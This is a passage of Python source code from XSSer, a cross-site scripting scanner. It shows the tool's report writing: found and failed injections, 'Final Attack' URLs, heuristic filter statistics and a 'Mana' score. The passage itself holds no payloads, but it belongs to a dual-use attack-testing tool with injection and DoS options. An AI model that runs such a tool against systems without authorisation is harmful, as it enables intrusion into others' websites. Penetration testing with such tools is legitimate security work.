  3306. if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
  3307. if self.token_arrived_flag == True:
  3308. fout.write("[+] Target: " + str(line[6]) + " | " + str(line[4]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: MANUAL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND! [100% VULNERABLE]\n\n")
  3309. else:
  3310. if self.options.reversecheck:
  3311. fout.write("[+] Target: " + str(line[6]) + " | " + str(line[4]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: MANUAL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND! [BUT --reverse-check VALIDATION has FAILED!]\n\n")
  3312. else:
  3313. fout.write("[+] Target: " + str(line[6]) + " | " + str(line[4]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: MANUAL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND! [WITHOUT --reverse-check VALIDATION!]\n\n")
  3314. else:
  3315. if self.token_arrived_flag == True:
  3316. fout.write("[+] Target: " + str(line[6]) + " | " + str(line[4]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: MANUAL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Status: XSS FOUND! [100% VULNERABLE]\n\n")
  3317. else:
  3318. if self.options.reversecheck:
  3319. fout.write("[+] Target: " + str(line[6]) + " | " + str(line[4]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: MANUAL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Status: XSS FOUND! [BUT --reverse-check VALIDATION has FAILED!]\n\n")
  3320. else:
  3321. fout.write("[+] Target: " + str(line[6]) + " | " + str(line[4]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: MANUAL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Status: XSS FOUND! [WITHOUT --reverse-check VALIDATION!]\n\n")
  3322. else:
  3323. if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
  3324. if self.token_arrived_flag == True:
  3325. fout.write("[+] Target: " + str(line[6]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: MANUAL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND! [100% VULNERABLE]\n\n")
  3326. else:
  3327. if self.options.reversecheck:
  3328. fout.write("[+] Target: " + str(line[6]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: MANUAL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND! [BUT --reverse-check VALIDATION has FAILED!]\n\n")
  3329. else:
  3330. fout.write("[+] Target: " + str(line[6]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: MANUAL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND! [WITHOUT --reverse-check VALIDATION!]\n\n")
  3331. else:
  3332. if self.token_arrived_flag == True:
  3333. fout.write("[+] Target: " + str(line[6]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: MANUAL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Status: XSS FOUND! [100% VULNERABLE]\n\n")
  3334. else:
  3335. if self.options.reversecheck:
  3336. fout.write("[+] Target: " + str(line[6]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: MANUAL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Status: XSS FOUND! [BUT --reverse-check VALIDATION has FAILED!]\n\n")
  3337. else:
  3338. fout.write("[+] Target: " + str(line[6]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: MANUAL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Status: XSS FOUND! [WITHOUT --reverse-check VALIDATION!]\n\n")
  3339. fout.write("="*75 + "\n\n")
  3340. elif line[1] == "[Heuristic test]":
  3341. if len(self.hash_found) < 11:
  3342. if line[4]:
  3343. self.report("[+] Target:", line[6] + " | " + line[4])
  3344. else:
  3345. self.report("[+] Target:", line[6])
  3346. self.report("[+] Vector: [ " + str(line[3]) + " ]")
  3347. self.report("[!] Method:", line[2])
  3348. self.report("[*] Payload:", line[5])
  3349. self.report("[!] Status: NOT FILTERED!", "\n", '-'*50, "\n")
  3350. if self.options.fileoutput:
  3351. fout.write("="*75)
  3352. fout.write("\n" + "XSSer Security Report: " + str(datetime.datetime.now()) + "\n")
  3353. fout.write("="*75 + "\n\n")
  3354. for line in self.hash_found:
  3355. if line[4]:
  3356. fout.write("[+] Target: " + str(line[6]) + " | " + str(line[4]) + "\n[+] Vector: [ " + str(line[3]) + " ]\n\n[!] Method: heuristic" + " \n\n[*] Payload: \n\n " + str(line[5]) + "\n\n[!] Status: NOT FILTERED!\n\n")
  3357. else:
  3358. fout.write("[+] Target: " + str(line[6]) + "\n[+] Vector: [ " + str(line[3]) + " ]\n\n[!] Method: heuristic" + " \n\n[*] Payload: \n\n " + str(line[5]) + "\n\n[!] Status: NOT FILTERED!\n\n")
  3359. fout.write("="*75 + "\n\n")
  3360. else:
  3361. self.auto_found = self.auto_found + 1
  3362. if len(self.hash_found) < 11:
  3363. if line[4]: # when query string
  3364. self.report("[+] Target:", line[6] + " | " + line[4])
  3365. else:
  3366. self.report("[+] Target:", line[6])
  3367. self.report("[+] Vector: [ " + str(line[2]) + " ]")
  3368. self.report("[!] Method: URL")
  3369. self.report("[*] Hash:", line[3])
  3370. self.report("[*] Payload:", line[0])
  3371. self.report("[!] Vulnerable:", line[1])
  3372. if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
  3373. self.report("[*] Final Attack:", attack_url)
  3374. if self.token_arrived_flag == True:
  3375. self.report("[!] Status: XSS FOUND! [100% VULNERABLE]", "\n", '-'*50, "\n")
  3376. else:
  3377. if self.options.reversecheck:
  3378. self.report("[!] Status: XSS FOUND! [BUT --reverse-check VALIDATION has FAILED!]", "\n", '-'*50, "\n")
  3379. else:
  3380. self.report("[!] Status: XSS FOUND! [WITHOUT --reverse-check VALIDATION!]", "\n", '-'*50, "\n")
  3381. if self.options.fileoutput:
  3382. fout.write("="*75)
  3383. fout.write("\n" + "XSSer Security Report: " + str(datetime.datetime.now()) + "\n")
  3384. fout.write("="*75 + "\n\n")
  3385. for line in self.hash_found:
  3386. if line[4]:
  3387. if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
  3388. if self.token_arrived_flag == True:
  3389. fout.write("[+] Target: " + str(line[6]) + " | " + str(line[4]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND! [100% VULNERABLE]\n\n")
  3390. else:
  3391. if self.options.reversecheck:
  3392. fout.write("[+] Target: " + str(line[6]) + " | " + str(line[4]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND! [BUT --reverse-check VALIDATION has FAILED!]\n\n")
  3393. else:
  3394. fout.write("[+] Target: " + str(line[6]) + " | " + str(line[4]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND! [WITHOUT --reverse-check VALIDATION!]\n\n")
  3395. else:
  3396. if self.token_arrived_flag == True:
  3397. fout.write("[+] Target: " + str(line[6]) + " | " + str(line[4]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[!] Status: XSS FOUND! [100% VULNERABLE]\n\n")
  3398. else:
  3399. if self.options.reversecheck:
  3400. fout.write("[+] Target: " + str(line[6]) + " | " + str(line[4]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[!] Status: XSS FOUND! [BUT --reverse-check VALIDATION has FAILED!]\n\n")
  3401. else:
  3402. fout.write("[+] Target: " + str(line[6]) + " | " + str(line[4]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[!] Status: XSS FOUND! [WITHOUT --reverse-check VALIDATION!]\n\n")
  3403. else:
  3404. if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
  3405. if self.token_arrived_flag == True:
  3406. fout.write("[+] Target: " + str(line[6]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND! [100% VULNERABLE]\n\n")
  3407. else:
  3408. if self.options.reversecheck:
  3409. fout.write("[+] Target: " + str(line[6]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND! [BUT --reverse-check VALIDATION has FAILED!]\n\n")
  3410. else:
  3411. fout.write("[+] Target: " + str(line[6]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND! [WITHOUT --reverse-check VALIDATION!]\n\n")
  3412. else:
  3413. if self.token_arrived_flag == True:
  3414. fout.write("[+] Target: " + str(line[6]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[!] Status: XSS FOUND! [100% VULNERABLE]\n\n")
  3415. else:
  3416. if self.options.reversecheck:
  3417. fout.write("[+] Target: " + str(line[6]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[!] Status: XSS FOUND! [BUT --reverse-check VALIDATION has FAILED!]\n\n")
  3418. else:
  3419. fout.write("[+] Target: " + str(line[6]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[!] Status: XSS FOUND! [WITHOUT --reverse-check VALIDATION!]\n\n")
  3420. fout.write("="*75 + "\n\n")
  3421. if self.options.fileoutput:
  3422. fout.close()
  3423. if self.options.fileoutput and not self.options.filexml:
  3424. self.report("[Info] Generating report: [ XSSreport.raw ]\n")
  3425. self.report("-"*25+"\n")
  3426. if self.options.fileoutput and self.options.filexml:
  3427. self.report("[Info] Generating report: [ XSSreport.raw ] | Exporting results to: [ " + str(self.options.filexml) + " ] \n")
  3428. self.report("-"*25+"\n")
  3429. if len(self.hash_found) > 10 and not self.options.fileoutput: # write results fo file when large output (white magic!)
  3430. if not self.options.filexml:
  3431. self.report("[Info] Aborting large screen output. Generating auto-report at: [ XSSreport.raw ] ;-)\n")
  3432. self.report("-"*25+"\n")
  3433. fout = open("XSSreport.raw", "w") # write better than append
  3434. fout.write("="*75)
  3435. fout.write("\n" + "XSSer Security Report: " + str(datetime.datetime.now()) + "\n")
  3436. fout.write("="*75 + "\n\n")
  3437. for line in self.hash_found:
  3438. if line[4]:
  3439. if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
  3440. fout.write("[+] Target: " + str(line[6]) + " | " + str(line[4]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND!\n\n")
  3441. else:
  3442. fout.write("[+] Target: " + str(line[6]) + " | " + str(line[4]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[!] Status: XSS FOUND!\n\n")
  3443. else:
  3444. if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
  3445. fout.write("[+] Target: " + str(line[6]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND!\n\n")
  3446. else:
  3447. fout.write("[+] Target: " + str(line[6]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[!] Status: XSS FOUND!\n\n")
  3448. fout.write("="*75 + "\n\n")
  3449. fout.close()
  3450. else:
  3451. self.report("[Info] Exporting results to: [ " + str(self.options.filexml) + " ]\n")
  3452. self.report("-"*25+"\n")
  3453. # heuristic always with statistics
  3454. if self.options.heuristic:
  3455. heuris_semicolon_total_found = self.heuris_semicolon_found + self.heuris_une_semicolon_found + self.heuris_dec_semicolon_found
  3456. heuris_backslash_total_found = self.heuris_backslash_found + self.heuris_une_backslash_found + self.heuris_dec_backslash_found
  3457. heuris_slash_total_found = self.heuris_slash_found + self.heuris_une_slash_found + self.heuris_dec_slash_found
  3458. heuris_minor_total_found = self.heuris_minor_found + self.heuris_une_minor_found + self.heuris_dec_minor_found
  3459. heuris_mayor_total_found = self.heuris_mayor_found + self.heuris_une_mayor_found + self.heuris_dec_mayor_found
  3460. heuris_doublecolon_total_found = self.heuris_doublecolon_found + self.heuris_une_doublecolon_found + self.heuris_dec_doublecolon_found
  3461. heuris_colon_total_found = self.heuris_colon_found + self.heuris_une_colon_found + self.heuris_dec_colon_found
  3462. heuris_equal_total_found = self.heuris_equal_found + self.heuris_une_equal_found + self.heuris_dec_equal_found
  3463. total_heuris_found = heuris_semicolon_total_found + heuris_backslash_total_found + heuris_slash_total_found + heuris_minor_total_found + heuris_mayor_total_found + heuris_doublecolon_total_found + heuris_colon_total_found + heuris_equal_total_found
  3464. total_heuris_params = total_heuris_found + self.heuris_semicolon_found + self.heuris_backslash_found + self.heuris_slash_found + self.heuris_minor_found + self.heuris_mayor_found + self.heuris_doublecolon_found + self.heuris_colon_found + self.heuris_equal_found
  3465. total_heuris_notfound = self.heuris_semicolon_notfound + self.heuris_backslash_notfound + self.heuris_slash_notfound + self.heuris_minor_notfound + self.heuris_mayor_notfound + self.heuris_doublecolon_notfound + self.heuris_colon_notfound + self.heuris_equal_notfound
  3466. if total_heuris_notfound > 0: # not shown when not found
  3467. self.options.statistics = True
  3468. # some statistics reports
  3469. if self.options.statistics:
  3470. # heuristic test results
  3471. if self.options.heuristic:
  3472. self.report("\n"+'='*75)
  3473. self.report("[+] Heuristics:")
  3474. self.report('='*75)
  3475. test_time = datetime.datetime.now() - self.time
  3476. self.report("\n" + '-'*50)
  3477. self.report("Test Time Duration: ", test_time)
  3478. self.report('-'*50 )
  3479. total_connections = total_heuris_found + total_heuris_notfound
  3480. self.report("Total fuzzed:", total_connections)
  3481. self.report('-'*75)
  3482. self.report(' ', " <FILTERED!>", " <NOT FILTERED!>", " =" , " ASCII", "+", "UNE/HEX", "+", "DEC")
  3483. # semicolon results
  3484. self.report('; ', " ", self.heuris_semicolon_notfound, " ",
  3485. heuris_semicolon_total_found, " ",
  3486. self.heuris_semicolon_found, " ",
  3487. self.heuris_une_semicolon_found, " ",
  3488. self.heuris_dec_semicolon_found)
  3489. # backslash results
  3490. self.report('\\ ', " ", self.heuris_backslash_notfound, " ",
  3491. heuris_backslash_total_found, " ",
  3492. self.heuris_backslash_found, " ",
  3493. self.heuris_une_backslash_found, " ",
  3494. self.heuris_dec_backslash_found)
  3495. # slash results
  3496. self.report("/ ", " ", self.heuris_slash_notfound, " ",
  3497. heuris_slash_total_found, " ",
  3498. self.heuris_slash_found, " ",
  3499. self.heuris_une_slash_found, " ",
  3500. self.heuris_dec_slash_found)
  3501. # minor results
  3502. self.report("< ", " ", self.heuris_minor_notfound, " ",
  3503. heuris_minor_total_found, " ",
  3504. self.heuris_minor_found, " ",
  3505. self.heuris_une_minor_found, " ",
  3506. self.heuris_dec_minor_found)
  3507. # mayor results
  3508. self.report("> ", " ", self.heuris_mayor_notfound, " ",
  3509. heuris_mayor_total_found, " ",
  3510. self.heuris_mayor_found, " ",
  3511. self.heuris_une_mayor_found, " ",
  3512. self.heuris_dec_mayor_found)
  3513. # doublecolon results
  3514. self.report('" ', " ", self.heuris_doublecolon_notfound, " ",
  3515. heuris_doublecolon_total_found, " ",
  3516. self.heuris_doublecolon_found, " ",
  3517. self.heuris_une_doublecolon_found, " ",
  3518. self.heuris_dec_doublecolon_found)
  3519. # colon results
  3520. self.report("' ", " ", self.heuris_colon_notfound, " ",
  3521. heuris_colon_total_found, " ",
  3522. self.heuris_colon_found, " ",
  3523. self.heuris_une_colon_found, " ",
  3524. self.heuris_dec_colon_found)
  3525. # equal results
  3526. self.report("= ", " ", self.heuris_equal_notfound, " ",
  3527. heuris_equal_total_found, " ",
  3528. self.heuris_equal_found, " ",
  3529. self.heuris_une_equal_found, " ",
  3530. self.heuris_dec_equal_found)
  3531. self.report('-'*75)
  3532. try:
  3533. _accur = total_heuris_found * 100 / total_heuris_params
  3534. except ZeroDivisionError:
  3535. _accur = 0
  3536. self.report('Target(s) Filtering Accur: %s %%' % _accur)
  3537. self.report('-'*75)
  3538. # statistics block
  3539. if len(self.hash_found) + len(self.hash_notfound) == 0:
  3540. pass
  3541. if self.options.heuristic:
  3542. pass
  3543. else:
  3544. self.report('='*75)
  3545. self.report("[+] Statistics:")
  3546. self.report('='*75)
  3547. test_time = datetime.datetime.now() - self.time
  3548. self.report("\n" + '-'*50)
  3549. self.report("Test Time Duration: ", test_time)
  3550. self.report('-'*50 )
  3551. total_connections = self.success_connection + self.not_connection + self.forwarded_connection + self.other_connection
  3552. self.report("Total Connections:", total_connections)
  3553. self.report('-'*25)
  3554. self.report("200-OK:" , self.success_connection , "|", "404:" ,
  3555. self.not_connection , "|" , "503:" ,
  3556. self.forwarded_connection , "|" , "Others:",
  3557. self.other_connection)
  3558. try:
  3559. _accur = self.success_connection * 100 / total_connections
  3560. except ZeroDivisionError:
  3561. _accur = 0
  3562. self.report("Connec: %s %%" % _accur)
  3563. self.report('-'*50)
  3564. total_payloads = self.check_positives + self.manual_injection + self.auto_injection + self.dcp_injection + self.dom_injection + self.xsa_injection + self.xsr_injection + self.coo_injection
  3565. self.report("Total Payloads:", total_payloads)
  3566. self.report('-'*25)
  3567. self.report("Checker:", self.check_positives, "|", "Manual:",
  3568. self.manual_injection, "|" , "Auto:" ,
  3569. self.auto_injection ,"|", "DCP:",
  3570. self.dcp_injection, "|", "DOM:", self.dom_injection,
  3571. "|", "Induced:", self.httpsr_injection, "|" , "XSR:",
  3572. self.xsr_injection, "|", "XSA:",
  3573. self.xsa_injection , "|", "COO:",
  3574. self.coo_injection)
  3575. self.report('-'*50)
  3576. self.report("Total Injections:" ,
  3577. len(self.hash_notfound) + len(self.hash_found))
  3578. self.report('-'*25)
  3579. self.report("Failed:" , len(self.hash_notfound), "|",
  3580. "Successful:" , len(self.hash_found))
  3581. try:
  3582. _accur = len(self.hash_found) * 100 / total_injections
  3583. except ZeroDivisionError:
  3584. _accur = 0
  3585. self.report("Accur : %s %%" % _accur)
  3586. self.report("\n" + '='*50)
  3587. total_discovered = self.false_positives + self.manual_found + self.auto_found + self.dcp_found + self.dom_found + self.xsr_found + self.xsa_found + self.coo_found
  3588. self.report("\n" + '-'*50)
  3589. self.report("Total XSS Discovered:", total_discovered)
  3590. self.report('-'*50)
  3591. self.report("Checker:", self.false_positives, "|",
  3592. "Manual:",self.manual_found, "|", "Auto:",
  3593. self.auto_found, "|", "DCP:", self.dcp_found,
  3594. "|", "DOM:", self.dom_found, "|", "Induced:",
  3595. self.httpsr_found, "|" , "XSR:", self.xsr_found,
  3596. "|", "XSA:", self.xsa_found, "|", "COO:",
  3597. self.coo_found)
  3598. self.report('-'*50)
  3599. self.report("False positives:", self.false_positives, "|",
  3600. "Vulnerables:",
  3601. total_discovered - self.false_positives)
  3602. self.report('-'*25)
  3603. # efficiency ranking:
  3604. # algor= vulnerables + false positives - failed * extras
  3605. mana = 0
  3606. h_found = 0
  3607. for h in self.hash_found:
  3608. h_found = h_found + 1
  3609. if h_found > 3:
  3610. mana = mana + 4500
  3611. if h_found == 1:
  3612. mana = mana + 500
  3613. if self.options.reversecheck:
  3614. mana = mana + 200
  3615. if total_payloads > 100:
  3616. mana = mana + 150
  3617. if not self.options.xsser_gtk:
  3618. mana = mana + 25
  3619. if self.options.discode:
  3620. mana = mana + 100
  3621. if self.options.proxy:
  3622. mana = mana + 100
  3623. if self.options.threads > 9:
  3624. mana = mana + 100
  3625. if self.options.heuristic:
  3626. mana = mana + 100
  3627. if self.options.finalpayload or self.options.finalremote:
  3628. mana = mana + 100
  3629. if self.options.script:
  3630. mana = mana + 100
  3631. if self.options.Cem or self.options.Doo:
  3632. mana = mana + 75
  3633. if self.options.heuristic:
  3634. mana = mana + 50
  3635. if self.options.script and not self.options.fuzz:
  3636. mana = mana + 25
  3637. if self.options.followred and self.options.fli:
  3638. mana = mana + 25
  3639. if self.options.wizard:
  3640. mana = mana + 25
  3641. if self.options.dcp:
  3642. mana = mana + 25
  3643. if self.options.hash:
  3644. mana = mana + 10
  3645. mana = (len(self.hash_found) * mana) + mana
  3646. # enjoy it :)
  3647. self.report("Mana:", mana)
  3648. self.report("")
  3649. c = Curl()
  3650. if not len(self.hash_found) and self.hash_notfound:
  3651. if self.options.hash:
  3652. if self.options.statistics:
  3653. self.report('='*75 + '\n')
  3654. self.report("[Info] Target isn't replying to the input [ --hash ] sent!\n")
  3655. else:
  3656. if self.options.target or self.options.heuristic:
  3657. self.report("")
  3658. if self.options.heuristic:
  3659. pass
  3660. else:
  3661. if self.options.statistics:
  3662. self.report('='*75 + '\n')
  3663. if self.options.fileoutput:
  3664. fout = open("XSSreport.raw", "w") # write better than append
  3665. fout.write("="*75)
  3666. fout.write("\n" + "XSSer Security Report: " + str(datetime.datetime.now()) + "\n")
  3667. fout.write("="*75 + "\n\n")
  3668. for h in self.hash_notfound:
  3669. if h[2] == 'heuristic':
  3670. if not h[4]:
  3671. fout.write("[+] Target: " + str(h[6]) + "\n[+] Vector: [ " + str(h[3]) + "\n\n[!] Method: " + str(h[2]) + "\n\n[*] Payload: \n\n" + str(h[5]) + "\n\n[!] Status:\n\n FILTERED!\n\n")
  3672. else:
  3673. fout.write("[+] Target: " + str(h[6]) + " | " + str(h[4]) + "\n[+] Vector: [ " + str(h[3]) + " ]\n\n[!] Method: " + str(h[2]) + "\n\n[*] Payload: \n\n " + str(h[5]) + "\n\n[!] Status:\n\n FILTERED!\n\n")
  3674. elif h[2] == 'hashing check':
  3675. if not h[4]:
  3676. fout.write("[+] Target: " + str(h[6]) + "\n[+] Vector: [ " + str(h[3]) + "\n\n[!] Method: " + str(h[2]) + "\n\n[*] Payload: \n\n" + str(h[5]) + "\n\n[!] Status:\n\n FILTERED!\n\n")
  3677. else:
  3678. fout.write("[+] Target: " + str(h[6]) + " | " + str(h[4]) + "\n[+] Vector: [ " + str(h[3]) + " ]\n\n[!] Method: " + str(h[2]) + "\n\n[*] Payload: \n\n " + str(h[5]) + "\n\n[!] Status:\n\n FILTERED!\n\n")
  3679. else:
  3680. if h[4]:
  3681. if h[2] == "XSA":
  3682. fout.write("[+] Target: " + str(h[6]) + " | " + str(h[4]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: User-Agent Injection" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Status: XSS FAILED!\n\n")
  3683. elif h[2] == "XSR":
  3684. fout.write("[+] Target: " + str(h[6]) + " | " + str(h[4]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: Referer Injection" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Status: XSS FAILED!\n\n")
  3685. elif h[2] == "COO":
  3686. fout.write("[+] Target: " + str(h[6]) + " | " + str(h[4]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: Cookie Injection" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Status: XSS FAILED!\n\n")
  3687. else:
  3688. fout.write("[+] Target: " + str(h[6]) + " | " + str(h[4]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Vulnerable: " + h[1] + "\n\n[!] Status: XSS FAILED!\n\n")
  3689. else:
  3690. if h[2] == "XSA":
  3691. fout.write("[+] Target: " + str(h[6]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: User-Agent Injection" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Status: XSS FAILED!\n\n")
  3692. elif h[2] == "XSR":
  3693. fout.write("[+] Target: " + str(h[6]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: Referer Injection" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Status: XSS FAILED!\n\n")
  3694. elif h[2] == "COO":
  3695. fout.write("[+] Target: " + str(h[6]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: Cookie Injection" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Status: XSS FAILED!\n\n")
  3696. else:
  3697. fout.write("[+] Target: " + str(h[6]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Vulnerable: " + h[1] + "\n\n[!] Status: XSS FAILED!\n\n")
  3698. fout.write("="*75 + "\n\n")
  3699. fout.close()
  3700. else:
  3701. # some exits and info for some bad situations:
  3702. if len(self.hash_found) + len(self.hash_notfound) == 0 and not Exception:
  3703. self.report("\n[Error] XSSer cannot send any data... maybe -something- is blocking connection(s)!?\n")
  3704. if len(self.hash_found) + len(self.hash_notfound) == 0 and self.options.crawling:
  3705. if self.options.xsser_gtk:
  3706. self.report('='*75)
  3707. self.report("\n[Error] Not any feedback from crawler... Aborting! :(\n")
  3708. self.report('='*75 + '\n')
  3709. # print results to xml file
  3710. if self.options.filexml:
  3711. xml_report_results = xml_reporting(self)
  3712. try:
  3713. xml_report_results.print_xml_results(self.options.filexml)
  3714. except:
  3715. return
  3716. if __name__ == "__main__":
  3717. app = xsser()
  3718. options = app.create_options()
  3719. if options:
  3720. app.set_options(options)
  3721. app.run()
  3722. app.land(True)